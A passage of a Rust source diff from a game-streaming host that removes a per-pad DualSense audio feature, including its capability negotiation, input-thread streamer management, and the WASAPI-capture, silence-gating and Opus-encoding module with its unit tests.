} else if let Ok(req) = ProbeRequest::decode(&msg) {
let now = std::time::Instant::now();
if last_probe.is_some_and(|t| now.duration_since(t) < MIN_PROBE_INTERVAL) {
tracing::warn!(
target_kbps = req.target_kbps,
"speed-test probe rejected (rate-limited)"
);
continue;
}
last_probe = Some(now);
tracing::info!(
target_kbps = req.target_kbps,
duration_ms = req.duration_ms,
@@ -640,16 +640,6 @@ pub(super) async fn negotiate(
punktfunk_core::quic::HOST_CAP_AUDIO_RED
} else {
0
}
// Per-pad DualSense audio (0xD1 + HidOutput::AudioCtl): granted only when the
// client asked AND this host can capture it — Windows with the feature enabled
// and at least one pad endpoint provisioned at startup. A capable client then
// marks its pads' renderers on their arrivals; the input thread streams toward
// exactly those pads (`super::pad_audio`).
| if super::pad_audio::host_cap(hello.client_caps) {
punktfunk_core::quic::HOST_CAP_PAD_AUDIO
} else {
0
},
// The negotiated session AEAD (resolved above) + its 32-byte key toward a ChaCha
// client; toward everyone else cipher 0 keeps the Welcome byte-identical to the
+6 -156
View File
@@ -515,100 +515,6 @@ impl Pads {
}
}
/// Per-pad 0xD1 streamers (`super::pad_audio`), keyed by pad index like every per-pad table
/// here (bounded by [`MAX_WIRE_PADS`]; only slots 0..4 can ever have a provisioned endpoint —
/// `spawn` refuses the rest). Spawned when a negotiated session's DualSense-family arrival
/// declares renderer bits, reaped on remove / re-declare / session teardown.
struct PadAudioSlots {
/// `(kinds, handle)` per running pad — `kinds` is the arrival's audio-caps mask, kept so
/// an identical re-arrival (they are re-sent against datagram loss) is a no-op.
slots: [Option<(u8, pad_audio::PadAudioHandle)>; MAX_WIRE_PADS],
/// Kind-change restarts spent per pad this session (R3). The trigger is a client-sent
/// arrival, so without a ceiling the client decides how many WASAPI captures the host opens.
restarts: [u8; MAX_WIRE_PADS],
}
/// R3: how many times one pad may change its declared audio kinds before the host stops
/// obliging. A real controller declares once at open and never again; the re-sent arrivals are
/// identical and take the no-op path above, so this is only reached by a client that keeps
/// changing its mind.
const MAX_PAD_AUDIO_RESTARTS: u8 = 8;
impl PadAudioSlots {
fn new() -> PadAudioSlots {
PadAudioSlots {
slots: std::array::from_fn(|_| None),
restarts: [0; MAX_WIRE_PADS],
}
}
/// Idempotent spawn: same kinds → keep the running streamer; changed kinds → restart with
/// the new mask; not running → spawn (a slot without an endpoint stays empty — bounded
/// retries, since arrivals are only re-sent a few times per slot open).
fn ensure(&mut self, conn: &quinn::Connection, pad: u8, kinds: u8) {
let idx = pad as usize;
if idx >= MAX_WIRE_PADS {
return;
}
if let Some((have, _)) = &self.slots[idx] {
if *have == kinds {
return; // identical re-arrival — keep the running streamer
}
// R3: the restart trigger is a CLIENT-sent arrival, so the count is client-driven.
// Nothing bounded it: a client alternating its declared kinds could make the host
// tear down and re-spawn a WASAPI loopback capture indefinitely, each cycle paying a
// thread spawn and an endpoint activation. Cheap to bound, and a pad that has already
// changed its mind this many times in one session is not doing anything legitimate.
if self.restarts[idx] >= MAX_PAD_AUDIO_RESTARTS {
tracing::warn!(
pad = idx,
"pad-audio kinds changed again after {MAX_PAD_AUDIO_RESTARTS} restarts — \
ignoring; the streamer keeps its current kinds for this session"
);
return;
}
self.restarts[idx] += 1;
tracing::info!(
pad = idx,
restarts = self.restarts[idx],
"pad-audio kinds changed — restarting the streamer"
);
self.stop(idx);
}
let stop = Arc::new(AtomicBool::new(false));
if let Some(h) = pad_audio::spawn(conn.clone(), pad, kinds, stop) {
self.slots[idx] = Some((kinds, h));
}
}
/// Stop + reap one pad's streamer. The join rides a detached reaper thread: a quiet pad's
/// capturer can sit out its ~5 s recv timeout, and this thread must keep its ≤4 ms
/// feedback cadence (games block on GET_REPORT handshakes) — the reaper still joins, just
/// not here. A failed reaper spawn falls back to the handle's own drop (signal + join).
fn stop(&mut self, idx: usize) {
if let Some((_, h)) = self.slots.get_mut(idx).and_then(|s| s.take()) {
h.signal();
let _ = std::thread::Builder::new()
.name("punktfunk1-padreap".into())
.spawn(move || h.stop());
}
}
/// Session teardown: flag every streamer FIRST so they wind down concurrently, then join —
/// the worst case is ONE quiet-endpoint recv timeout (~5 s), well inside the session's
/// 10 s side-thread join grace, not one per pad.
fn stop_all(&mut self) {
for s in self.slots.iter().flatten() {
s.1.signal();
}
for s in &mut self.slots {
if let Some((_, h)) = s.take() {
h.stop();
}
}
}
}
/// One client→host input item, both planes on ONE channel so the input thread wakes the
/// moment either arrives (a second rich channel drained after the 4 ms recv timeout cost
/// every pure-gyro motion sample up to 4 ms of quantization).
@@ -777,13 +683,8 @@ pub(super) fn input_thread(
conn: quinn::Connection,
inj_tx: std::sync::mpsc::Sender<InputEvent>,
gamepad: GamepadPref,
pad_audio_on: bool,
) {
let mut pads = Pads::new(gamepad);
// Per-pad 0xD1 audio streamers, live only when the Welcome granted the cap (`pad_audio_on`
// — read back off the negotiated host_caps). Spawned on DualSense-family arrivals that
// declare renderer bits, reaped on remove/teardown below.
let mut pad_streams = PadAudioSlots::new();
// Motion-cadence observability (debug level): inter-arrival percentiles per 5 s window,
// the measurement a "gyro feels floaty" report needs. Bounded: 5 s at even a 1 kHz pad
// is 5000 u32s.
@@ -848,22 +749,11 @@ pub(super) fn input_thread(
// Rich input (touchpad / motion) is applied the moment it arrives; the single channel
// wakes for gyro samples instead of making them wait out the feedback poll interval.
Ok(ClientInput::Rich(rich)) => {
// Debug-only instrument: skip the whole thing unless debug logging is actually
// enabled. It used to grow and `sort_unstable()` a Vec in the input hot loop
// regardless, so every session paid for a measurement nobody was reading — and the
// "bounded by a 5 s window at a plausible pad rate" reasoning was an assumption
// about the CLIENT's send rate, not a bound the host enforced (2026-08-05 review
// L-5). The explicit cap below makes it a bound.
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. })
&& tracing::enabled!(tracing::Level::DEBUG)
{
if matches!(rich, punktfunk_core::quic::RichInput::Motion { .. }) {
let now = std::time::Instant::now();
if let Some(prev) = last_motion.replace(now) {
let gap = now.duration_since(prev);
// 30k samples is 5 s at 6 kHz — well past any real pad, and a hard stop
// for a client that simply sends motion as fast as the link allows.
if gap < std::time::Duration::from_secs(1) && motion_gaps_us.len() < 30_000
{
if gap < std::time::Duration::from_secs(1) {
motion_gaps_us.push(gap.as_micros() as u32);
}
}
@@ -964,53 +854,16 @@ pub(super) fn input_thread(
&mut rumble_seen[idx],
&mut rumble_stop_burst[idx],
);
// The unplugged pad's 0xD1 streamer goes with it (seq-gated like the
// rest of this arm, so a reordered stale removal can't kill the
// stream of a re-plugged pad). A re-plug re-arrives and re-spawns.
pad_streams.stop(idx);
}
}
InputKind::GamepadArrival => {
// Per-pad controller kind declaration (mixed types): route this pad's future
// frames to a backend of the declared kind. `code` = the GamepadPref wire
// byte, `flags` = pad index in the LOW BYTE — bits 8/9 carry the pad's
// audio-render caps (haptics/speaker) from a pad-audio-capable client, so
// the index MUST come from `decode_gamepad_arrival`, never the whole word.
// Applied before the pad's first frame (the client sends it on slot open),
// so the device is built as the right type from the start. The audio caps
// are surfaced here for the 0xD1 capture path (which emits pad audio only
// toward pads that declared a renderer).
let (pad, audio_caps) = punktfunk_core::input::decode_gamepad_arrival(ev.flags);
let idx = pad as usize;
// frames to a backend of the declared kind. `code` = the GamepadPref wire byte,
// `flags` = pad index. Applied before the pad's first frame (the client sends it
// on slot open), so the device is built as the right type from the start.
let idx = ev.flags as usize;
let kind = GamepadPref::from_u8(ev.code as u8);
if audio_caps != 0 {
tracing::debug!(
pad = idx,
haptics = audio_caps & 0x01 != 0,
speaker = audio_caps & 0x02 != 0,
"pad-audio render caps declared (arrival flags bits 8/9)"
);
}
pads.set_kind(idx, kind);
// Pad audio (0xD1): stream toward DualSense-family pads that declared a
// renderer, only on a session that negotiated the cap. Idempotent across
// the arrival re-sends (same kinds keeps the running streamer); a
// re-declare without bits — or as a kind with no pad audio — stops it.
if pad_audio_on {
let want = if matches!(
kind,
GamepadPref::DualSense | GamepadPref::DualSenseEdge
) {
audio_caps
} else {
0
};
if want != 0 {
pad_streams.ensure(&conn, pad, want);
} else {
pad_streams.stop(idx);
}
}
}
_ => {
// Track press/release so a mid-press disconnect can be undone below.
@@ -1166,9 +1019,6 @@ pub(super) fn input_thread(
flags: 0,
});
}
// Reap the per-pad 0xD1 streamers with the session (after the instant release sends above
// — this can block on a quiet pad's capturer timeout, see PadAudioSlots::stop_all).
pad_streams.stop_all();
}
#[cfg(test)]
@@ -1,662 +0,0 @@
//! Per-pad DualSense audio (the 0xD1 pad-audio plane): WASAPI loopback of a pre-provisioned pad
//! endpoint ([`crate::audio::pad_endpoint`]) → 4-ch de-interleave into the speaker (front) and
//! voice-coil haptics (back) pairs → per-kind silence gate → stereo Opus (48 kHz, CBR, LowDelay)
//! → [`PAD_AUDIO_MAGIC`](punktfunk_core::quic::PAD_AUDIO_MAGIC) datagrams. One thread per
//! arriving pad, spawned/reaped by the input thread ([`super::input`]) as arrivals declare
//! renderers and pads leave. Modeled on the session audio thread ([`super::audio`]): the same
//! reopen-with-backoff on capture death, the same monotonic-seq-kept-across-reopens discipline,
//! the same power-of-two encode-warn throttle.
use super::*;
/// `kinds` bit for the haptics stream (bit N = wire kind N — the same packing the arrival's
/// audio-caps bits use, see [`punktfunk_core::input::decode_gamepad_arrival`]).
#[cfg(any(target_os = "windows", test))]
pub(super) const KIND_BIT_HAPTICS: u8 = 1 << punktfunk_core::quic::PAD_AUDIO_KIND_HAPTICS;
/// `kinds` bit for the speaker stream.
#[cfg(any(target_os = "windows", test))]
pub(super) const KIND_BIT_SPEAKER: u8 = 1 << punktfunk_core::quic::PAD_AUDIO_KIND_SPEAKER;
/// Haptics frames are 5 ms (the session-audio cadence — haptics are felt latency); speaker
/// frames are 10 ms (speaker content tolerates the buffering for the coding efficiency). Both
/// are the wire contract's cadences (`punktfunk_core::quic::PAD_AUDIO_KIND_*`).
#[cfg(any(target_os = "windows", test))]
const HAPTICS_FRAME_MS: u32 = 5;
#[cfg(any(target_os = "windows", test))]
const SPEAKER_FRAME_MS: u32 = 10;
/// Samples per frame (per channel) at 48 kHz: 240 / 480.
#[cfg(any(target_os = "windows", test))]
const HAPTICS_FRAME_SAMPLES: usize =
crate::audio::SAMPLE_RATE as usize * HAPTICS_FRAME_MS as usize / 1000;
#[cfg(any(target_os = "windows", test))]
const SPEAKER_FRAME_SAMPLES: usize =
crate::audio::SAMPLE_RATE as usize * SPEAKER_FRAME_MS as usize / 1000;
/// The capture's channel count — the pad endpoint is stamped quad (FL FR BL BR: front pair =
/// speaker, back pair = voice coils). Mirrors `pad_endpoint::PAD_CHANNELS` (Windows-gated, so
/// the pure splitter logic keeps its own copy).
#[cfg(any(target_os = "windows", test))]
const CAP_CHANNELS: usize = 4;
/// Peak (absolute sample) at or above which a frame counts as signal — the gate OPENS on that
/// very frame (haptics are felt latency; the first active frame must ship). ≈ 60 dBFS.
#[cfg(any(target_os = "windows", test))]
const GATE_OPEN_PEAK: f32 = 1e-3;
/// How long the gate keeps sending after the last signal frame before it CLOSES (hangover):
/// long enough that a decaying haptic tail (and the client decoder's own tail) is never
/// clipped, short enough that an idle pad costs nothing in steady state.
#[cfg(any(target_os = "windows", test))]
const GATE_HANGOVER_MS: u32 = 250;
/// Per-kind Opus bitrate — a stereo voice-coil / pad-speaker pair needs far less than the
/// session plane's 128 kbps; 64 kbps CBR keeps every frame comfortably under one MTU.
#[cfg(target_os = "windows")]
const PAD_AUDIO_BITRATE: i32 = 64_000;
/// The per-kind silence gate — the steady-state-cost feature: an idle pad endpoint (games
/// rarely render pad audio) must cost ZERO encodes and ZERO datagrams, not a permanent 200 Hz
/// stream of coded silence. Opens the instant a frame carries signal ([`GATE_OPEN_PEAK`]);
/// closes only after [`GATE_HANGOVER_MS`] of continuous sub-threshold frames. Pure logic,
/// unit-tested below.
#[cfg(any(target_os = "windows", test))]
struct SilenceGate {
/// Consecutive sub-threshold frames that close the gate ([`GATE_HANGOVER_MS`] ÷ frame ms).
hangover_frames: u32,
/// Consecutive sub-threshold frames seen so far while open.
quiet: u32,
/// Starts closed: a pad no game ever renders into never opens (and never sends).
open: bool,
}
#[cfg(any(target_os = "windows", test))]
impl SilenceGate {
fn new(frame_ms: u32) -> SilenceGate {
SilenceGate {
hangover_frames: (GATE_HANGOVER_MS / frame_ms).max(1),
quiet: 0,
open: false,
}
}
/// Feed one frame; `true` = encode + send it. Signal opens the gate on THIS frame; the
/// frame that completes the hangover closes it and is itself suppressed (the client
/// already has ~250 ms of ramped-out silence by then).
fn feed(&mut self, frame: &[f32]) -> bool {
if frame.iter().any(|s| s.abs() >= GATE_OPEN_PEAK) {
self.open = true;
self.quiet = 0;
} else if self.open {
self.quiet += 1;
if self.quiet >= self.hangover_frames {
self.open = false;
self.quiet = 0;
}
}
self.open
}
}
/// One kind's send-admission + seq bookkeeping (pure logic — the capture thread wraps it with
/// the encoder and the datagram send). `seq` is monotonic per (pad, kind) and NEVER advances
/// while the gate is closed: frozen-seq = deliberate silence — the client tells silence from
/// loss by seq continuity (the mic-mute discipline, pf-client-core/src/audio.rs). It is also
/// kept across capture reopens (the session audio thread's discipline, audio.rs): the client
/// sees a gap, not a restart.
#[cfg(any(target_os = "windows", test))]
struct LaneCtl {
gate: SilenceGate,
seq: u32,
}
#[cfg(any(target_os = "windows", test))]
impl LaneCtl {
fn new(frame_ms: u32) -> LaneCtl {
LaneCtl {
gate: SilenceGate::new(frame_ms),
seq: 0,
}
}
/// Admit one frame: `Some(seq)` = encode + send it with this seq (advanced for the next);
/// `None` = gated — do not send, do not advance. An encode failure AFTER admission leaves a
/// one-frame seq gap, which the client conceals exactly like datagram loss.
fn admit(&mut self, frame: &[f32]) -> Option<u32> {
if !self.gate.feed(frame) {
return None;
}
let seq = self.seq;
self.seq = self.seq.wrapping_add(1);
Some(seq)
}
}
/// De-interleave one 4-ch block (FL FR BL BR) into its stereo pairs: `(front, back)` — front =
/// speaker (channels 0/1), back = voice-coil haptics (channels 2/3). A ragged tail (not a
/// multiple of 4 — the capturer only ever delivers whole frames) is dropped, never smeared
/// across channels.
#[cfg(any(target_os = "windows", test))]
fn split_quad(block: &[f32]) -> (Vec<f32>, Vec<f32>) {
let mut front = Vec::with_capacity(block.len() / 2);
let mut back = Vec::with_capacity(block.len() / 2);
for s in block.chunks_exact(CAP_CHANNELS) {
front.extend_from_slice(&s[..2]);
back.extend_from_slice(&s[2..4]);
}
(front, back)
}
/// Accumulates interleaved 4-ch capture and cuts it into the wire contract's per-kind stereo
/// frames — haptics every 5 ms from the back pair, speaker every 10 ms from the front pair —
/// emitting ONLY the kinds enabled in `kinds` (a disabled kind is never even split out, so it
/// can never reach an encoder). Pure logic, unit-tested; the capture thread wraps it.
#[cfg(any(target_os = "windows", test))]
struct PadFramer {
kinds: u8,
/// Raw interleaved 4-ch accumulation, drained in 5 ms blocks.
acc: Vec<f32>,
/// Front-pair stereo accumulation toward the next 10 ms speaker frame.
front: Vec<f32>,
}
#[cfg(any(target_os = "windows", test))]
impl PadFramer {
fn new(kinds: u8) -> PadFramer {
PadFramer {
kinds,
acc: Vec::with_capacity(HAPTICS_FRAME_SAMPLES * CAP_CHANNELS * 4),
front: Vec::new(),
}
}
/// Feed one capture chunk; `emit(kind, stereo_frame)` fires for each completed frame
/// (haptics first — it is the latency-critical pair).
fn feed(&mut self, chunk: &[f32], mut emit: impl FnMut(u8, &[f32])) {
self.acc.extend_from_slice(chunk);
let block_len = HAPTICS_FRAME_SAMPLES * CAP_CHANNELS;
while self.acc.len() >= block_len {
let block: Vec<f32> = self.acc.drain(..block_len).collect();
let (front, back) = split_quad(&block);
if self.kinds & KIND_BIT_HAPTICS != 0 {
emit(punktfunk_core::quic::PAD_AUDIO_KIND_HAPTICS, &back);
}
if self.kinds & KIND_BIT_SPEAKER != 0 {
self.front.extend_from_slice(&front);
let frame_len = SPEAKER_FRAME_SAMPLES * 2;
while self.front.len() >= frame_len {
let frame: Vec<f32> = self.front.drain(..frame_len).collect();
emit(punktfunk_core::quic::PAD_AUDIO_KIND_SPEAKER, &frame);
}
}
}
}
/// Drop the partial frames straddling a capture gap (reopen). The seq/gate state is NOT
/// here — [`LaneCtl`] deliberately survives reopens, so the client sees a gap, not a
/// restart.
fn clear(&mut self) {
self.acc.clear();
self.front.clear();
}
}
/// A running per-pad streamer. [`stop`](PadAudioHandle::stop) (or drop) flags the thread and
/// joins it; [`signal`](PadAudioHandle::signal) only flags — the input thread's teardown flags
/// every pad first so the joins overlap instead of serializing the capturer's worst-case ~5 s
/// quiet-endpoint recv timeout.
pub(super) struct PadAudioHandle {
stop: Arc<AtomicBool>,
join: Option<std::thread::JoinHandle<()>>,
}
impl PadAudioHandle {
/// Flag the streamer to wind down without waiting for it.
pub(super) fn signal(&self) {
self.stop.store(true, Ordering::SeqCst);
}
/// Stop + reap. Bounded by the capturer's ~5 s quiet-endpoint recv timeout in the worst
/// case — the mid-session reap paths run this on a detached reaper thread for that reason
/// (`input.rs::PadAudioSlots::stop`); session teardown affords it inline (the 10 s
/// side-thread join grace covers it).
pub(super) fn stop(mut self) {
self.reap();
}
fn reap(&mut self) {
self.signal();
if let Some(join) = self.join.take() {
let _ = join.join();
}
}
}
/// A handle dropped without `stop()` (reaper-spawn failure) still winds its thread down.
impl Drop for PadAudioHandle {
fn drop(&mut self) {
self.reap();
}
}
/// Whether this session's Welcome should advertise
/// [`HOST_CAP_PAD_AUDIO`](punktfunk_core::quic::HOST_CAP_PAD_AUDIO): the client asked
/// ([`CLIENT_CAP_PAD_AUDIO`](punktfunk_core::quic::CLIENT_CAP_PAD_AUDIO)), this is a Windows
/// host with the feature on (`PUNKTFUNK_PAD_AUDIO` != "0"), and startup provisioning published
/// at least one endpoint (`pad_endpoint::provision_at_startup`). Still-running provisioning
/// reads as "none yet": a session racing host startup simply negotiates without pad audio and
/// picks it up on its next connect.
pub(super) fn host_cap(client_caps: u8) -> bool {
let asked = client_caps & punktfunk_core::quic::CLIENT_CAP_PAD_AUDIO != 0;
#[cfg(target_os = "windows")]
{
// R5: a startup attempt that failed transiently leaves nothing latched, so retry here —
// this is the first moment in a session's life that anyone asks whether pad audio exists.
if asked {
crate::audio::pad_endpoint::ensure_provisioned();
}
asked
&& std::env::var_os("PUNKTFUNK_PAD_AUDIO").is_none_or(|v| v != "0")
&& crate::audio::pad_endpoint::provisioned_endpoints()
.is_some_and(|eps| !eps.is_empty())
}
#[cfg(not(target_os = "windows"))]
{
// Only the Windows virtual DualSense exposes pad audio endpoints today.
let _ = asked;
false
}
}
/// Start the per-pad streamer toward `conn` for `pad`, streaming the kinds in `kinds` (bit 0 =
/// haptics, bit 1 = speaker — the arrival's audio-caps packing). `stop` is this handle's own
/// flag (fresh per spawn — pad streamers stop individually, not with the session). `None` when
/// the slot has no provisioned endpoint (provisioning failed or still running, or the slot is
/// past `PUNKTFUNK_PAD_AUDIO_SLOTS` — only 0..4 can ever have one) or the thread cannot spawn;
/// the pad itself keeps working either way, just without audio.
#[cfg(target_os = "windows")]
pub(super) fn spawn(
conn: quinn::Connection,
pad: u8,
kinds: u8,
stop: Arc<AtomicBool>,
) -> Option<PadAudioHandle> {
if kinds & (KIND_BIT_HAPTICS | KIND_BIT_SPEAKER) == 0 {
return None;
}
let Some(ep) = crate::audio::pad_endpoint::endpoint_for(pad) else {
tracing::debug!(
pad,
"pad-audio arrival for a slot without a provisioned endpoint — not streaming"
);
return None;
};
if ep.endpoint_id.is_empty() {
// The devnode-without-endpoint shape (`find`) — never in the provisioned set, but
// cheap to refuse rather than spin the open/backoff loop on an empty id.
return None;
}
if ep.needs_aeb_kick {
// R4: this flag was computed on every path and consulted nowhere past startup. It means
// the endpoint's stamps are STORED but not SERVED — the audio stack never picked up the
// DualSense identity — and startup's one restart did not fix it. Opening anyway is worse
// than refusing: `AUTOCONVERTPCM` makes a wrong-format endpoint initialize *successfully*,
// so the stream runs, the logs look healthy, and the haptics/speaker pair is mis-routed
// with nothing to point at. Decline, and say which reboot-shaped problem it is.
tracing::warn!(
pad,
endpoint = %ep.endpoint_id,
"pad endpoint stamps are stored but not served — the audio stack has not adopted the \
DualSense identity (a reboot, or a manual AudioEndpointBuilder+Audiosrv restart, \
clears it). Not streaming: the endpoint would open and mis-route."
);
return None;
}
let stop_t = stop.clone();
match std::thread::Builder::new()
.name(format!("punktfunk1-pad{pad}"))
.spawn(move || pad_audio_thread(conn, pad, kinds, ep.endpoint_id, stop_t))
{
Ok(join) => Some(PadAudioHandle {
stop,
join: Some(join),
}),
Err(e) => {
tracing::warn!(pad, error = %e, "pad-audio thread spawn failed — pad streams without audio");
None
}
}
}
/// Stub — pad endpoints exist only behind the Windows virtual DualSense; other hosts run pads
/// without the audio side (and never advertise the cap, see [`host_cap`]).
#[cfg(not(target_os = "windows"))]
pub(super) fn spawn(
_conn: quinn::Connection,
_pad: u8,
_kinds: u8,
_stop: Arc<AtomicBool>,
) -> Option<PadAudioHandle> {
None
}
/// One enabled kind's encoder lane: admission/seq control + its stereo Opus encoder + the
/// power-of-two warn throttle (a stuck encoder would otherwise fail ~200 times a second).
#[cfg(target_os = "windows")]
struct Lane {
kind: u8,
ctl: LaneCtl,
enc: opus::Encoder,
encode_errs: u64,
}
/// Build one stereo encoder per enabled kind: 48 kHz LowDelay hard-CBR like the session audio
/// plane ([`super::audio`]), at the pad plane's 64 kbps.
#[cfg(target_os = "windows")]
fn build_lanes(kinds: u8) -> Result<Vec<Lane>, opus::Error> {
let mut lanes = Vec::new();
for (bit, kind, frame_ms) in [
(
KIND_BIT_HAPTICS,
punktfunk_core::quic::PAD_AUDIO_KIND_HAPTICS,
HAPTICS_FRAME_MS,
),
(
KIND_BIT_SPEAKER,
punktfunk_core::quic::PAD_AUDIO_KIND_SPEAKER,
SPEAKER_FRAME_MS,
),
] {
if kinds & bit == 0 {
continue;
}
let mut enc = opus::Encoder::new(
crate::audio::SAMPLE_RATE,
opus::Channels::Stereo,
opus::Application::LowDelay,
)?;
enc.set_bitrate(opus::Bitrate::Bits(PAD_AUDIO_BITRATE)).ok();
enc.set_vbr(false).ok();
lanes.push(Lane {
kind,
ctl: LaneCtl::new(frame_ms),
enc,
encode_errs: 0,
});
}
Ok(lanes)
}
/// The per-pad streaming thread: loopback capture → framer → per-kind gate/encode → 0xD1
/// datagrams. Capture death reopens with the session-audio backoff ([`INJECTOR_REOPEN_BACKOFF`],
/// encoders + seq kept); a send error ends the thread (the connection — the session — is gone).
#[cfg(target_os = "windows")]
fn pad_audio_thread(
conn: quinn::Connection,
pad: u8,
kinds: u8,
endpoint_id: String,
stop: Arc<AtomicBool>,
) {
use crate::audio::AudioCapturer as _;
let mut lanes = match build_lanes(kinds) {
Ok(l) => l,
Err(e) => {
tracing::warn!(pad, error = %e, "pad-audio opus encoder init failed — pad continues without audio");
return;
}
};
if lanes.is_empty() {
return; // spawn() refuses kinds == 0 — belt and braces
}
let mut framer = PadFramer::new(kinds);
// One Opus frame per datagram; 64 kbps CBR at ≤10 ms is ~80 bytes — sized with the session
// plane's slack.
let mut opus_buf = vec![0u8; 1500];
// Reopen-with-backoff (the audio.rs discipline): a capture death (endpoint invalidated,
// audio-engine restart) reopens instead of muting the pad for the rest of the session. The
// first open ALSO rides this loop, so an open lost to endpoint churn starts late, not never.
let mut capturer: Option<crate::audio::pad_endpoint::PadLoopbackCapturer> = None;
let mut last_failed: Option<std::time::Instant> = None;
tracing::info!(
pad,
haptics = kinds & KIND_BIT_HAPTICS != 0,
speaker = kinds & KIND_BIT_SPEAKER != 0,
"pad audio streaming (0xD1, Opus 48 kHz, silence-gated)"
);
'session: while !stop.load(Ordering::SeqCst) {
if capturer.is_none() {
if last_failed.is_some_and(|t| t.elapsed() < INJECTOR_REOPEN_BACKOFF) {
std::thread::sleep(std::time::Duration::from_millis(200));
continue;
}
match crate::audio::pad_endpoint::PadLoopbackCapturer::open(&endpoint_id) {
Ok(c) => {
if last_failed.take().is_some() {
tracing::info!(pad, "pad-audio capture reopened");
}
capturer = Some(c);
framer.clear(); // drop the partial frames straddling the gap
}
Err(e) => {
tracing::debug!(pad, error = %format!("{e:#}"), "pad-audio open failed — will retry");
last_failed = Some(std::time::Instant::now());
std::thread::sleep(std::time::Duration::from_millis(200));
continue;
}
}
}
// An empty chunk is a QUIET endpoint (the capturer's idle timeout), not a death — keep
// it; only a genuine Err (capture thread ended) drops the capturer for reopen.
let chunk = match capturer.as_mut().unwrap().next_chunk() {
Ok(c) => c,
Err(e) => {
tracing::warn!(pad, error = %format!("{e:#}"), "pad-audio capture lost — reopening");
capturer = None;
last_failed = Some(std::time::Instant::now());
continue;
}
};
let mut session_gone = false;
framer.feed(&chunk, |kind, frame| {
if session_gone {
return;
}
let Some(lane) = lanes.iter_mut().find(|l| l.kind == kind) else {
return; // framer emits only enabled kinds — unreachable, but never panic here
};
// Gated = deliberate silence: no datagram AND a frozen seq (the client tells
// silence from loss by seq continuity).
let Some(seq) = lane.ctl.admit(frame) else {
return;
};
let pts_ns = now_ns();
match lane.enc.encode_float(frame, &mut opus_buf) {
Ok(n) => {
let d = punktfunk_core::quic::encode_pad_audio_datagram(
pad,
kind,
seq,
pts_ns,
&opus_buf[..n],
);
if conn.send_datagram(d.into()).is_err() {
session_gone = true; // connection gone — the session is over
}
}
Err(e) => {
lane.encode_errs += 1;
if lane.encode_errs.is_power_of_two() {
tracing::warn!(
pad,
kind,
error = %e,
count = lane.encode_errs,
"pad-audio opus encode failed — dropping frame"
);
}
}
}
});
if session_gone {
break 'session;
}
}
// Dropping the capturer stops its WASAPI thread. Nothing to park: pad capture is per-pad,
// per-session by design (unlike the session audio slot there is no cross-session reuse).
}
#[cfg(test)]
mod tests {
use super::*;
use punktfunk_core::quic::{PAD_AUDIO_KIND_HAPTICS, PAD_AUDIO_KIND_SPEAKER};
/// A stereo frame of `n` samples at a constant level.
fn frame(level: f32, n: usize) -> Vec<f32> {
vec![level; n * 2]
}
#[test]
fn gate_opens_immediately_and_closes_after_hangover() {
let mut g = SilenceGate::new(HAPTICS_FRAME_MS);
// 250 ms of 5 ms frames.
assert_eq!(g.hangover_frames, 50);
// Closed from birth: an idle pad never sends.
assert!(!g.feed(&frame(0.0, HAPTICS_FRAME_SAMPLES)));
// A peak at exactly the threshold opens on THIS frame (haptics are felt latency).
assert!(g.feed(&frame(GATE_OPEN_PEAK, HAPTICS_FRAME_SAMPLES)));
// 49 quiet frames ride the hangover; the 50th completes 250 ms and is suppressed.
for _ in 0..49 {
assert!(g.feed(&frame(0.0, HAPTICS_FRAME_SAMPLES)));
}
assert!(!g.feed(&frame(0.0, HAPTICS_FRAME_SAMPLES)));
// ... and stays closed.
assert!(!g.feed(&frame(0.0, HAPTICS_FRAME_SAMPLES)));
// Sub-threshold wiggle does not reopen; real signal does (negative peaks count).
assert!(!g.feed(&frame(9e-4, HAPTICS_FRAME_SAMPLES)));
assert!(g.feed(&frame(-0.5, HAPTICS_FRAME_SAMPLES)));
// A loud frame mid-hangover rearms the full 250 ms.
for _ in 0..49 {
assert!(g.feed(&frame(0.0, HAPTICS_FRAME_SAMPLES)));
}
assert!(g.feed(&frame(0.02, HAPTICS_FRAME_SAMPLES)));
for _ in 0..49 {
assert!(g.feed(&frame(0.0, HAPTICS_FRAME_SAMPLES)));
}
assert!(!g.feed(&frame(0.0, HAPTICS_FRAME_SAMPLES)));
}
#[test]
fn gate_hangover_scales_with_frame_ms() {
let mut g = SilenceGate::new(SPEAKER_FRAME_MS);
assert_eq!(g.hangover_frames, 25); // 250 ms of 10 ms frames
assert!(g.feed(&frame(0.1, SPEAKER_FRAME_SAMPLES)));
for _ in 0..24 {
assert!(g.feed(&frame(0.0, SPEAKER_FRAME_SAMPLES)));
}
assert!(!g.feed(&frame(0.0, SPEAKER_FRAME_SAMPLES)));
}
#[test]
fn seq_freezes_while_gated_and_survives_reopen() {
let mut lane = LaneCtl::new(HAPTICS_FRAME_MS);
// Two audible frames: seq 0, 1.
assert_eq!(lane.admit(&frame(0.5, HAPTICS_FRAME_SAMPLES)), Some(0));
assert_eq!(lane.admit(&frame(0.5, HAPTICS_FRAME_SAMPLES)), Some(1));
// The hangover is still sent (seq advances), then the gate closes and seq FREEZES —
// deliberate silence the client tells from loss by continuity.
for i in 0..49u32 {
assert_eq!(lane.admit(&frame(0.0, HAPTICS_FRAME_SAMPLES)), Some(2 + i));
}
for _ in 0..500 {
assert_eq!(lane.admit(&frame(0.0, HAPTICS_FRAME_SAMPLES)), None);
}
// A capture reopen resets ONLY the framer (PadFramer::clear) — LaneCtl is deliberately
// untouched, so the next audible frame CONTINUES the sequence (gap, not restart).
assert_eq!(lane.admit(&frame(0.9, HAPTICS_FRAME_SAMPLES)), Some(51));
}
#[test]
fn splitter_exact_pairs() {
// Interleave [FL FR BL BR] × 2 frames with distinct values everywhere.
let quad = [0.0, 1.0, 2.0, 3.0, 10.0, 11.0, 12.0, 13.0];
let (front, back) = split_quad(&quad);
assert_eq!(front, [0.0, 1.0, 10.0, 11.0]);
assert_eq!(back, [2.0, 3.0, 12.0, 13.0]);
// A ragged tail (never produced by the capturer) is dropped, not smeared.
let (front, back) = split_quad(&quad[..7]);
assert_eq!((front.len(), back.len()), (2, 2));
}
#[test]
fn framer_cuts_the_wire_cadence() {
let mut f = PadFramer::new(KIND_BIT_HAPTICS | KIND_BIT_SPEAKER);
let mut got: Vec<(u8, usize, f32)> = Vec::new();
// 10 ms of capture (480 samples), fed in ragged chunks: exactly two 5 ms haptics
// frames from the back pair, then one 10 ms speaker frame from the front pair.
let mut quad = Vec::new();
for _ in 0..2 * HAPTICS_FRAME_SAMPLES {
quad.extend_from_slice(&[0.25, 0.25, -0.5, -0.5]);
}
for chunk in quad.chunks(101) {
